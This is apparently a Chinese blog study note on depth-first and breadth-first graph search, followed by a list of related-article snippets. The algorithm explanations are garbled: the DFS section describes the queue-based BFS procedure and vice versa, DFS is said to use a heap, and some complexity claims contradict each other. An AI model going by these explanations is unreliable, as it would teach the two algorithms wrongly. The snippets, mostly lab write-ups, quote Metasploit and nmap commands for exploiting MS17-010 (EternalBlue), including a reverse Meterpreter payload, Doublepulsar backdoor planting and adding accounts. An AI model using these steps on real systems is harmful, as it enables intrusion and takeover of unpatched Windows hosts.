【算法】深度优先和广度优先

article/2025/9/17 5:49:18

本文只是总结的相关概念,仅供自己复习,严禁转载,文末附有本文内容涉及的文章链接,请点开链接查看原文!

(一)深度优先

      深度优先搜索属于图算法的一种,是一个针对图和树的遍历算法,英文缩写为DFS(Depth First Search)。深度优先搜索利用深度优先搜索算法可以产生目标图的相应拓扑排序表,利用拓扑排序表可以方便的解决很多相关的图论问题,如最大路径问题等等。一般用堆数据结构来辅助实现DFS算法。

      文字描述过程:广度优先搜索在进一步遍历图中顶点之前,先访问当前顶点的所有邻接结点。

      a .首先选择一个顶点作为起始结点,并将其染成灰色,其余结点为白色。

      b. 将起始结点放入队列中。

      c. 从队列首部选出一个顶点,并找出所有与之邻接的结点,将找到的邻接结点放入队列尾部,将已访问过结点涂成黑色,没访问过的结点是白色。如果顶点的颜色是灰色,表示已经发现并且放入了队列,如果顶点的颜色是白色,表示还没有发现

      d. 按照同样的方法处理队列中的下一个结点。 基本就是出队的顶点变成黑色,在队列里的是灰色,还没入队的是白色。

      其过程简要来说是沿着树的深度遍历树的节点,对每一个可能的分支路径深入到不能再深入为止,而且每个节点只能访问一次。没次选择一个未被发现的节点作为源节点并重复以上过程,整个进程反复进行直到所有节点都被访问为止

 

                                          

    对于上图的树而言,DFS方法首先从根节点1开始,其搜索节点顺序是1,2,3,4,5,6,7,8假定左分枝和右分枝中优先选择左分枝。访问顺序如下:

(二)广度优先

      广度优先搜索/宽度优先搜索,缩写BFS,是连通图的一种遍历算法这一算法也是很多重要的图的算法的原型。Dijkstra单源最短路径算法和Prim最小生成树算法都采用了和宽度优先搜索类似的思想。

     文字描述过程:深度优先搜索在搜索过程中访问某个顶点后,需要递归地访问此顶点的所有未访问过的相邻顶点。 初始条件下所有节点为白色,选择一个作为起始顶点,按照如下步骤遍历:

      a. 选择起始顶点涂成灰色,表示还未访问

      b. 从该顶点的邻接顶点中选择一个,继续这个过程(即再寻找邻接结点的邻接结点),一直深入下去,直到一个顶点没有邻接结点了,涂黑它,表示访问过了

      c. 回溯到这个涂黑顶点的上一层顶点,再找这个上一层顶点的其余邻接结点,继续如上操作,如果所有邻接结点往下都访问过了,就把自己涂黑,再回溯到更上一层。

     d. 上一层继续做如上操作,知道所有顶点都访问过。

      属于一种盲目搜寻法,目的是系统地展开并检查图中的所有节点,以找寻结果。换句话说,它并不考虑结果的可能位置,彻底地搜索整张图,直到找到结果为止。基本过程,BFS是从根节点开始,沿着树(图)的宽度遍历树(图)的节点。如果所有节点均被访问,则算法中止。一般用队列数据结构来辅助实现BFS算法。

                                            

     对于上图的树而言,从1到7的最短路径用BFS求最短路径,首先从根节点1开始访问顺序如下,每走一步记录步数,最短路径为1-》4-》7:

(三)区别

      深度优先搜索是每次从中弹出一个元素,搜索所有在它下一级的元素,把这些元素压入栈中。并把这个元素记为它下一级元素的前驱,找到所要找的元素时结束程序。

      从一个顶点v出发,选择邻接于v的尚未达到的顶点u,如果这样的u不存在,则搜索终止。如果u存在,那么从u又开始一个新的DFS,也就是递归。

     广度优先搜索是每次从队列的头部取出一个元素,查看这个元素所有的下一级元素,把它们放到队列的末尾。并把这个元素记为它下一级元素的前驱,找到所要找的元素时结束程序。

     广度优先的搜索方式就是从一个顶点v出发,先搜索所有邻接于顶点v的顶点集合,这算一回搜索,第二回搜索以邻接于顶点v的集合点出发,开始搜索所有邻接于这些顶点的邻接点。

注:在谈论两者的适用情况可以通过一下方面探讨

      1: 空间复杂度:广优的话,占内存多,能找到最优解,必须遍历所有分枝. 广优的一个应用就是迪科斯彻单元最短路径算法.深优的话,占内存少,能找到最优解(一定条件下),但能很快找到接近解(优点),可能不必遍历所有分枝(也就是速度快), 深优的一个应用就是连连看游戏.

     2: 时间复杂度:最差情形下,BFS必须查找所有到可能节点的所有路径。

     3:完全性:广度优先搜索算法具有完全性。这意指无论图形的种类如何,只要目标存在,则BFS一定会找到。然而,若目标不存在,且图为无限大,则BFS将不收敛(不会结束)。

    4:最佳解:若所有边的长度相等,广度优先搜索算法是最佳解——亦即它找到的第一个解,距离根节点的边数目一定最少;但对一般的图来说,BFS并不一定回传最佳解。这是因为当图形为加权图(亦即各边长度不同)时,BFS仍然回传从根节点开始,经过边数目最少的解;而这个解距离根节点的距离不一定最短。这个问题可以使用考虑各边权值,BFS的改良算法成本一致搜索法来解决。然而,若非加权图形,则所有边的长度相等,BFS就能找到最近的最佳解。

参考文章:

https://www.jianshu.com/p/bff70b786bb6

https://zhidao.baidu.com/question/468967354.html

https://blog.csdn.net/Jeff_Winger/article/details/80911480

https://www.jianshu.com/p/b086986969e6


http://chatgpt.dhexx.cn/article/mtIHebpd.shtml

相关文章

算法:深度优先遍历和广度优先遍历

什么是深度、广度优先遍历 图的遍历是指,从给定图中任意指定的顶点(称为初始点)出发,按照某种搜索方法沿着图的边访问图中的所有顶点,使每个顶点仅被访问一次,这个过程称为图的遍历。遍历过程中得到的顶点…

ms17010利用失败解决一则

没有反弹得到session并且提示如下: [-] 10.0.131.2:445 - Service failed to start, ERROR_CODE: 216 换了一个payload set payload windows/meterpreter/reverse_tcp set payload windows/x64/meterpreter/bind_tcp 就可以了。 如果遇到Unable to continue with i…

永恒之蓝MS17010复现

MS17010复现 靶机win7:192.168.41.150 攻击kali: 192.168.41.147 扫描 通过auxiliary/scanner/smb/smb_ms17_010模块扫描虚拟机是否存在ms17010漏洞 存在 拿shell 通过exploit/windows/smb/ms17_010_eternalblue 直接exp打,设置好参数和payload,window…

MS17010(永恒之蓝)漏洞利用与复现

MS17010(永恒之蓝)漏洞利用与复现 0X00简介 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统…

网安学习记录1 ms17010漏洞

使用nmap对win7进行端口扫描 进行ms17-010漏洞利用

ms17010漏洞复现-2003

先使用Smbtouch模块检测一下是否有漏洞。 然后使用Doublepulsar写一个shellcode到本地。 生成成功后的截图: 再使用EternalRomance植入Doublepulsar后门。 成功的截图: PS:仿佛是由于之前已经上传过bin的缘故,第二次测试的时候失败了。但是不…

微软永恒之蓝ms17010补丁下载-wannacry

勒索病毒爆发:上百国家遭"感染",Windows勒索病毒恐怖蔓延!勒索病毒,掀起了全球上百个国家、数十亿用户对网络安全的恐慌,微软推出的永恒之蓝ms17010补丁下载专为勒索病毒专杀而设计,同时推出的勒索病毒文件恢复软件是大家得力的勒索病毒文件恢复助手!http://www.cata…

永恒之蓝漏洞自查-MS17010漏洞自查与修复

MS17010漏洞时间线回溯 2017-03-12,微软发布MS17-010补丁包2017-03-14,微软发布《MS17-010:Windows SMB 服务器安全更新说明》 https://support.microsoft.com/zh-cn/help/4012598/title2017-04-14,Shadowbroker发布漏洞利用工具…

ms17010复现

关于漏洞的复现干多了就发现,这种菜鸟级别的复现,,真是没有啥实用性,主要就是,自己玩玩,,,唉,, ms17_010,好像跟什么永恒之蓝,勒索病毒有啥关系。…

ms17010漏洞利用(主机漏洞利用)

攻击机:kali ip:192.168.248.129 靶机:win7 x64 enterprise ip: 192.168.248.130 启动msf, Msfconsole search ms 检查msf库里是否存在ms17-010漏洞 Nmap检测靶机开放端口:nmap –sV 192.168.248.130 445端口开放&#xff0c…

永恒之蓝(MS17010)漏洞kali使用MSF进行漏洞复现

永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。 恶意代码会扫描开放445文件共享端…

永恒之蓝-MS17010 CVE-2017-0146

提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 例如:第一章 Python 机器学习入门之pandas的使用 提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 一、永恒之…

永恒之蓝(ms17010)漏洞利用

目录 1.启动msf 2.检查msf库里是否存在ms17-010漏洞 3.扫描靶机开放端口 4.配置目标ip,本地ip并利用exploit进行攻击 5.查看靶机系统信息、用户身份并对远程主机当前屏幕截图 6.获得shell控制台进cmd操作,添加账户提升权限 7.远程登录靶机 8.输入…

〖EXP〗NSA MS17010永恒之蓝漏洞一键工具

漏洞简介 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯…

MS17010漏洞利用总结

0x01 常规打法 扫描是否存在ms17-010漏洞: nmap -n -p445 --script smb-vuln-ms17-010 192.168.1.0/24 --openMSF常规漏洞利用: msf > use exploit/windows/smb/ms17_010_eternalblue msf > set rhost 192.168.1.112 反向打: msf …

MS17010漏洞利用姿势

MSF 搜索ms17-010 存在这些利用模块 0 exploit/windows/smb/ms17_010_eternalblue 1 exploit/windows/smb/ms17_010_psexec 2 auxiliary/admin/smb/ms17_010_command 3 auxiliary/scanner/smb/smb_ms17_010 4 exploit/windows/smb/smb_doublepulsar_rce 0 expl…

〖EXP〗NSA MS17010永恒之蓝一键工具

漏洞简介 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯…

MS17010原生打法

1、针对入口跳板机已经CS上线但是因为目标所在区域代理出来的流量卡慢、扫描会导致代理隧道崩溃、MSF的17010不成功但是原生利用工具成功的场景。此工具是由最原版调用fb.py那版提取出来的(原生版是最为稳定,并且能利用的版本)。 项目地址:https://gith…

MS17010(永恒之蓝)漏洞复现

MS17010(永恒之蓝)漏洞利用与复现 首先需要准备win7的环境做为靶机 获取信息 利用nmap扫描得到,靶机IP nmap -sP 192.168.229.0/24得到: IP:192.168.229.169 然后利用: nmap --scriptvuln 192.168.229.169得到靶机信息: 发…

关于ms17010渗透

今天来说一下ms17010渗透,大家都知道在2017爆发出来了永恒之蓝病毒,导致比特币严重涨价(为啥我没屯几个,这可能就是我穷的的原因吧),永恒之蓝的漏洞版本名称也被称之为ms17_010今天就来详细和大家讲一下 靶…